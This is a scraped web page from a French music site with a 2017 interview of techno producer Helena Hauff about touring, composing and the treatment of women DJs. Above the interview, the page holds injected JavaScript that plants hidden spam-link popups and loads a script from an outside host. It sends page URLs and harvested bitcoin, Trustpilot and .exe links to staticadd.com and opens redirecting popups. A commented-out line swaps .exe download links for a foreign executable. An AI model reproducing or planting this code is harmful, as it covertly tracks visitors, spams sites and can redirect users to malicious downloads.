Logo/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
Expensive car parking although it accepts all kind of payments. Easy to get in and out and well organized. dentist on steinway street astoria<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Had a great experience choosing and purchasing my cruze! This was my second automobile Ive purchased at Al Serra. Don Zimmerman is an excellent sales man, he made the whole process so quick and easy! beställa ångestläkemedel i sverige<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Many shops are small, the things they sell are very mixed, the shops are arranged in an innocent system, and it takes more time to find a store that suits them. \u5b78\u751f \u501f\u8cb8<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Carnival 2018 Valletta near St. Johns Co-Cathedral pikachu app new version<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Fantastic food with quality ingredients. Includes a small shop with a great selection of local meats, cheeses and beer. hard binding machine<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Food is nothing to write home about and is very inconsistent. Sometimes service is fast and other times service is super slow. They have good mushroom hummus, though. dehumidifier small<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
When I visit there couldn t see all the animals very few of them got to see. I think before you buy the tickets ask them first what you can see or not.that way you can save your time and money. tai audio equipment<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very nice except too hard to find car parking, other than this its very good place to do shopping west water treatment plant<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very helpful staff! The Armachillo clothing is amazing. trasplante capilar precio<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Clean and the staff was very helpful pleasant and kind, however this is a party hotel not a peaceful sleep all not no disturbance or sound through the night hotel canada paraiso fiscal<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Conference room was solid, but not as modern or open as more modern areas. goethe sprachzertifikat kaufen<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Professional legal services for all types of judicial maters. dép hm màu rêu<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Very caring and compassionate nursing staff. Highly recommended. loaded paypal account online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Over priced small selection and just ok service. I will never go back llanidloes camping<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
A proper independent shoe shop with very helpful staff and a good selection of Loakes. I would recommend a look inside https:\/\/woodgoldspzoo.com\/<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very nice and clear website with great products. Purchase on account possible. I would like to visit the site again. I am very satisfied with the sling https:\/\/softnetconsulting.ro<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great food, great drinks, awesome location. Good place for dinner! injection moulding vs die casting<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great variety on menu...everything from affordable meals to Date Night Steak dinners... metal bending services company<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Best place for kids to learn by playing and having fun \u5c0f\u984d\u501f\u6b3e\u8a71\u8853<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Visited the hotel to see their event space. The historic building is beautiful and the staff was incredibly friendly. inclusion bars<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
One of the best places in the world for adrenaline junkies. Their formula rossa ride makes you cry with the unbelievable acceleration and super speed. Flying aces and turbo track also can not be missed. VR games are also good. n\u1ed9i th\u1ea5t v\u0103n phòng<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Its a great place for pastrami sandwiches, but not much else. I dont think most of the food items they offer are all that great. If you can, sit at the table where Meg Ryan and Billy Crystal filmed When Harry Met Sally. google analytics backlinks anzeigen luxemburger<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Three cheers for Kathryn R.... patience of a saint very responsive and very pleasant !!! inc\/jf labs<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great location and value. The rooms could use a bit more detailed cleaning. i win ch\u1ee7 \u0111\u1ec1 red ping win casino<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Very nice rooms and fantastic staff. Very easy walk to Fremont. Great entertainment and restaurants a stones throw away. Mbc america<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
DISAPPOINTING - went to see Little Mix with my daughter - good performance but the food is shocking - took ages to arrive and I would say dog food looked more attractive :( semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great inn, close and convenient to everything. Love the decor and service here. semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Awesome place! Interesting and challenging puzzle, highly suggest giving yourself plenty of time to explore semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
nieruchomosci gruzja batumi<\/a><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
Expensive car parking although it accepts all kind of payments. Easy to get in and out and well organized. dentist on steinway street astoria<\/a>.<\/article>
Had a great experience choosing and purchasing my cruze! This was my second automobile Ive purchased at Al Serra. Don Zimmerman is an excellent sales man, he made the whole process so quick and easy! beställa ångestläkemedel i sverige<\/a>.<\/article>
Many shops are small, the things they sell are very mixed, the shops are arranged in an innocent system, and it takes more time to find a store that suits them. \u5b78\u751f \u501f\u8cb8<\/a>.<\/article>
Carnival 2018 Valletta near St. Johns Co-Cathedral pikachu app new version<\/a>.<\/article>
Fantastic food with quality ingredients. Includes a small shop with a great selection of local meats, cheeses and beer. hard binding machine<\/a>.<\/article>
Food is nothing to write home about and is very inconsistent. Sometimes service is fast and other times service is super slow. They have good mushroom hummus, though. dehumidifier small<\/a>.<\/article>
When I visit there couldn t see all the animals very few of them got to see. I think before you buy the tickets ask them first what you can see or not.that way you can save your time and money. tai audio equipment<\/a>.<\/article>
Very nice except too hard to find car parking, other than this its very good place to do shopping west water treatment plant<\/a>.<\/article>
Very helpful staff! The Armachillo clothing is amazing. trasplante capilar precio<\/a>.<\/article>
Clean and the staff was very helpful pleasant and kind, however this is a party hotel not a peaceful sleep all not no disturbance or sound through the night hotel canada paraiso fiscal<\/a>.<\/article>
Conference room was solid, but not as modern or open as more modern areas. goethe sprachzertifikat kaufen<\/a>.<\/article>
Professional legal services for all types of judicial maters. dép hm màu rêu<\/a>.<\/article>
Very caring and compassionate nursing staff. Highly recommended. loaded paypal account online<\/a>.<\/article>
Over priced small selection and just ok service. I will never go back llanidloes camping<\/a>.<\/article>
A proper independent shoe shop with very helpful staff and a good selection of Loakes.\r\nI would recommend a look inside https:\/\/woodgoldspzoo.com\/<\/a>.<\/article>
Very nice and clear website with great products. Purchase on account possible. I would like to visit the site again. I am very satisfied with the sling https:\/\/softnetconsulting.ro<\/a>.<\/article>
Great food, great drinks, awesome location. Good place for dinner! injection moulding vs die casting<\/a>.<\/article>
Great variety on menu...everything from affordable meals to Date Night Steak dinners... metal bending services company<\/a>.<\/article>
Best place for kids to learn by playing and having fun \u5c0f\u984d\u501f\u6b3e\u8a71\u8853<\/a>.<\/article>
Visited the hotel to see their event space. The historic building is beautiful and the staff was incredibly friendly. inclusion bars<\/a>.<\/article>
One of the best places in the world for adrenaline junkies. Their formula rossa ride makes you cry with the unbelievable acceleration and super speed. Flying aces and turbo track also can not be missed. VR games are also good. n\u1ed9i th\u1ea5t v\u0103n phòng<\/a>.<\/article>
Its a great place for pastrami sandwiches, but not much else. I dont think most of the food items they offer are all that great. If you can, sit at the table where Meg Ryan and Billy Crystal filmed When Harry Met Sally. google analytics backlinks anzeigen luxemburger<\/a>.<\/article>
Three cheers for Kathryn R.... patience of a saint very responsive and very pleasant !!! inc\/jf labs<\/a>.<\/article>
Great location and value. The rooms could use a bit more detailed cleaning. i win ch\u1ee7 \u0111\u1ec1 red ping win casino<\/a>.<\/article>
Very nice rooms and fantastic staff. Very easy walk to Fremont. Great entertainment and restaurants a stones throw away. Mbc america<\/a>.<\/article>
DISAPPOINTING - went to see Little Mix with my daughter - good performance but the food is shocking - took ages to arrive and I would say dog food looked more attractive :( semalt net<\/a>.<\/article>
Great inn, close and convenient to everything. Love the decor and service here. semalt net<\/a>.<\/article>
Awesome place! Interesting and challenging puzzle, highly suggest giving yourself plenty of time to explore semalt net<\/a>.<\/article>nieruchomosci gruzja batumi<\/a><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor A la une Entretien avec Helena Hauff

Entretien avec Helena Hauff

Publié le 13 Oct 2017
Rédacteur : Agnès Bayou

Email, RSS Follow
Email

C’est à Villette Sonique que certains ont croisé les platines d’Helena Hauff pour la première fois, l’année dernière, lors de la sortie de son premier album Discret Desires chez Ninja Tune. A la Route du Rock, Le Transistor a rencontré la productrice originaire de Hamburg, pour rencontrer une femme aussi chaleureuse que sa techno est froide. Nous parlons femmes dans l’industrie, composition, tournée, et musicologie systématique.

Helena Hauff

Helena Hauff n’a pas de très bons souvenirs de ses tout premiers pas en musique. “J’ai joué du violon, c’est vrai, quand j’étais jeune et c’était horrible : je savais absolument pas jouer. Et je n’ai jamais retouché un violon après mon dixième anniversaire.” (rires)

Depuis la sortie de son premier album, Discret Desires, Helena Hauff n’a pas arrêté de tourner. “J’aimerais d’avoir du temps pour faire de nouveaux morceaux. Mais entre les tournées et les emails… Il y a trop d’emails, je ne sais pas comment les gens font ! Et quand je rentre de tournée, je suis trop fatiguée, j’ai besoin d’espace pour créer, et puis j’ai pas vraiment envie de me forcer. Je peux le faire pour ma déclaration d’impôts, mais pas pour la musique. Et finalement c’est là que je suis la plus créative : quand je dois remplir ma déclaration !” (rires) Mais au final c’est ce que la productrice préfère, bien plus que la composition. “Parce que je suis avec des gens, je suis pas seule. Et ça me permet de faire des découvertes géniales ! Je garde mes oreilles ouvertes, car je suis toujours intéressée par ce qui est nouveau, tant que c’est pas de la musique joyeuse ! (rires) J’aime rencontrer des gens très jeunes ou très vieux, parce qu’ils peuvent me parler de choses que je n’ai jamais entendues ! ”

En véritable passionnée, Helena Hauff passe énormément de temps à préparer ses DJ sets. “J’écoute tellement de musique, et ça peut être une très bonne source d’inspiration. Même si un peu perturbant parfois. Des fois on écoute un morceau en se disant, c’est génial, je vais faire exactement la même chose. Et au final on se retrouve avec quelque chose de totalement différent, bien évidemment. C’est une bonne méthode pour les jeunes producteurs : re-créer sans copier, puis dès qu’on s’ennuie, détruire et faire quelque chose de totalement nouveau.” Elle n’a pas de préférence de style, mais son son est très sombre. “Je ne pense à rien de spécial quand je compose, je veux dire que je n’ai pas envie détruire quoi que ce soit ! (rires) Je fais de la musique, et certaines mélodies ou certains sons me plaisent plus que d’autres. J’aime quand c’est un peu brutal, parce qu’il y a beaucoup d’énergie, ça me paraît réel… Les distortion me font me sentir bien, je sais pas pourquoi. Pour moi c’est puissant.”

La productrice enregistre sur des vieux enregistreurs analogiques. “Il y a beaucoup de choses que je ne publie pas, qui finissent à la corbeille. Mais je n’efface jamais : je les garde sur un disque dur, puis je l’oublie. Des fois je me replonge dedans, et la majorité sonne pas du tout. Mais il m’est arrivé de trouver de bonnes choses, parfois bien meilleures que certains morceaux que j’ai pu sortir à la même période. Et là tu te demandes ce qui t’est passé par la tête !” (rires) Ce qui fait qu’elle n’a pas l’occasion de revenir en arrière. “A la fin, il faut bien prendre une décision, et puis des fois il faut du temps – et surtout de la distance – pour comprendre sa propre musique. C’est marrant une fois, une personne a joué un de mes morceaux que j’avais pas entendu depuis des années ! Et je me suis pas reconnue au début ! Heureusement ça m’a plu ! Mais ça n’arrive pas toujours, il m’arrive de reconnaître direct, surtout parce que je l’aime pas. Genre ne me regardez pas ! J’ai honte !” (rires)

Helena Hauff a tout d’abord choisi d’étudier à l’école des Beaux Arts. “Je me souviens que la prof disait qu’elle en avait marre de cette industrie, que c’était de la merde, mais qu’elle avait ce besoin, qui faisait qu’elle pouvait pas arrêter : il lui fallait impérativement créer. Sans ça, elle se serait déjà cassée depuis longtemps. Et à ce moment-là, je ne savais pas ce qu’elle entendait par là, parce que je ne l’avais jamais ressenti. Et puis à un moment j’en ai eu marre de l’art, et j’ai commencé à faire de la musique.” L’étudiante a compris bien plus tard ce dont lui parlait son prof. “De ce moment, je ne pouvais pas m’en passer, il me fallait préparer mes sets de DJ, écouter de la musique, acheter des albums, collectionner des synthés…. Pourtant, les cinq premières années, j’ai pas gagné un sou, et quelque part je voulais pas me faire du pognon non plus, je n’y pensais pas en fait. Et en fait, on peut pas considérer le fait d’être musicien comme un job anodin, il faut adorer ce qu’on fait. Sinon on va se noyer.”

Avant de sauter le pas, la productrice a voulu étudier la musicologie systématique. “Les gens pensent que c’est fun, et en fait c’est beaucoup de mathématiques et de physique. Si c’est pas ton truc, ce qui est le cas de certains qui étaient en cours avec moi, c’est horrible. Moi ça me plaît, et pourtant j’ai arrêté après un an. J’avais déjà ce besoin complètement fou de faire de la musique tout le temps. Je ne voulais plus faire quoi que ce soit d’autre. Je voulais juste être DJ. C’est tellement stupide ! (rires). Heureusement ça a marché !”

Il faut dire que dans le milieu de la techno, les femmes DJ n’ont pas beaucoup de visibilité. “Je pense pas que la musique soit genrée, qu’il y ait une sensibilité masculine ou féminine. A mon avis, c’est plus facile pour une femme productrice au début, et puis ça se corse. Au début, comme il n’y a pas beaucoup de femmes DJ, si un bookeur en cherche une, on a plus de chances d’être choisie. Par la suite c’est plus difficile d’être prise au sérieux.”

Helena Hauff a réussi de par son talent à s’imposer, mais a connu – comme toutes – des déboires. “Lors d’un DJ set avec une amie, j’ai entendu des mecs dire “oh non c’est deux nanas aux platines, viens on s’en va”. Ils sont même pas restés une minute… ! C’est difficile d’obtenir le respect : certains qui t’expliquent comment mixer, alors qu’on sait mieux qu’eux ! Sur internet, c’est assez horrible : quand on regarde les commentaires des vidéos boiler room, ça peut être la meilleure DJ du monde, ils vont qu’elle est là uniquement parce que c’est une femme. Et si on fait l’erreur la plus insignifiante…” Mais la productrice n’aime pas se plaindre. “Il faut rester positive. Au final, je m’en fous. Je m’amuse, la plupart des gens que je rencontre sont très cool, et me respectent. Et les autres, on s’en fout.“

Réclame

Discret Desires, le premier album d’Helena Hauff est paru chez Werk Discs/Ninja Tune
Helena Hauff sera en concert le 21 octobre au festival Nordik Impakt à Caen
Lire le compte rendu d’Helena Hauff à la Route du Rock

Email, RSS Follow
Email

Remerciements : Maxime Lecerf

Catégorie : A la une, Entretiens
Artiste(s) : Helena Hauff
Evenement(s) : La Route du Rock
Production(s) : Ninja Tune
Ville(s) : Saint-Malo

Et toi t'en penses quoi ?

A lire aussi

  • Peter Doherty & Frédéric Lo au Trianon
  • P.R2B à La Cigale
  • Brigitte Fontaine au Printemps de Bourges
  • Franz Ferdinand au Zénith
  • Myele Manzanza et Monsieur MÂLÂ au New Morning

Gallery

img_8776 img_0456 SAMSUNG CAMERA PICTURES 28-ZZ-Top-4